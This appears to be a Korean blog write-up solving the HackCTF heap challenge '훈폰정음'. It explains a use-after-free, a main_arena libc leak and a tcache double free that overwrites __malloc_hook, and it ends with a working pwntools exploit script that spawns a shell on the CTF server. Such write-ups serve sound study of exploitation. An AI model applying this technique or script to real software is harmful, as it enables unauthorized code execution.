[HackCTF] 훈폰정음 풀이 (700p)
Wargame/HackCTF

[HackCTF] 훈폰정음 풀이 (700p)

 

 

풀이

[*] '/root/pwnable/pro42/hun'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

풀었다! 내가 이렇게 힙 문제를 빨리 풀 줄이야..


프로그램을 실행하면 다음과 같은 메뉴가 나타난다.

IDA로 슈도코드를 확인해 보자.


main

menu를 출력하고 smooth라는 함수로 값을 입력 받는다.

add, edit, delete, check, exit를 선택할 수 있다.


add

마찬가지로 smooth 함수로 입력을 받는다.

그 후, v1으로 입력 값을 넘기는데 Index가 0 ~ 6 사이인지 검사한다.

만약, 아니라면 함수를 종료한다.

 

heap size는 음수가 될 수 없으며, 1024를 넘을 수 없다.

tcache는 0x408 size 까지 heap을 저장할 수 있는 데, 0x400(1024)에서 헤더 size인 0x10을 더하면 0x410이 되기 때문에 이 힙을 free하면 unsorted bin으로 들어가게 된다.

이 점을 이용해 익스플로잇을 하면 될 것 같다.

 

그리고, add 함수에서 table[v1] 값을 검사하기 때문에 힙은 최대 7개 까지만 할당할 수 있다.


edit

edit 함수에서는 content를 고칠 수 있다. 끝.


delete

delete 함수에서는 heap을 free 해준다.

그런데, 값을 초기화 시키지 않기 때문에 UAF가 발생한다.


check

check 함수에서는 0 ~ 6 사이 Index 값을 확인할 수 있다.


우리가 익스에 필요한 건 다음과 같다.

 

1. heap을 0x400 크기로 할당하여 unsorted bin 크기의 heap을 해제할 수 있다.

2. unsorted bin은 해제하면 main_arena의 주소가 적히기 때문에 이를 통해 libc를 leak 할 수 있다.

3. tcache dup을 발생 시켜 원하는 주소의 임의 주소를 적을 수 있다.

4. tcache_entry는 7개까지가 최대이기 때문에 8번 free를 하면 unsorted bin으로 들어간다.

 

페이로드 시나리오는 이렇다.

 

1. 0(0x6c) add

2. 1(0x400) add

3. 2(0x6c) add

4. heap0 delete

5. heap0 delete #tcache double free detected!

6. heap1 delete 8 times! #unsorted bin

7. check1 #main_arena leak

8. 3(0x6c) #check 1에서 (leak 한 것 - 96 - 0x10 - 0x13)을 content로 add

9. 4(0x6c) add

10. 5(0x6c) 'A'*19+oneshot_gadget add

 

하면 6(0x6c)을 실행하면 shell을 딸 수 있다!


익스를 바탕으로 한 페이로드는 다음과 같다.

from pwn import *

context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3041)
#p = process('./hun')
e = ELF('./hun')
libc = ELF('./libc-2.27.so')

shot = 0x10a38c

def add(idx, size, content):
    p.sendlineafter('>>', '1')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))
    p.sendafter(':', content)

def edit(idx, content):
    p.sendlineafter('>>', '2')
    p.sendlineafter(':', str(idx))
    p.sendafter(':', content)

def free(idx):
    p.sendlineafter('>>', '3')
    p.sendlineafter(':', str(idx))

def check(idx):
    p.sendlineafter('>>', '4')
    p.sendlineafter(':', str(idx))
    p.recvuntil(':')

add(0, 0x6c, 'AAAA')
add(1, 0x400, 'BBBB')
add(2, 0x6c, 'CCCC')

free(0)
free(0)
for i in range(0, 8):
    free(1)
check(1)

arena_96 = u64(p.recv(6).ljust(8, '\x00'))
arena = arena_96 - 96
malloc_start = arena - 0x10
base = malloc_start - libc.symbols['__malloc_hook']
malloc_fake = malloc_start - 0x13
oneshot = base + shot

add(3, 0x6c, p64(malloc_fake))
add(4, 0x6c, 'AAAA')
add(5, 0x6c, 'A'*19 + p64(oneshot))

p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable_4 (600p) 알아간 내용  (0) 2021.01.20
[HackCTF] ChildFSB (600p) 풀이  (0) 2021.01.18
[HackCTF] ChildHeap 풀이 (500p)  (0) 2021.01.12
[HackCTF] ROP 풀이 (300p)  (0) 2020.12.29
[HackCTF] UAF 풀이 (300p)  (0) 2020.12.28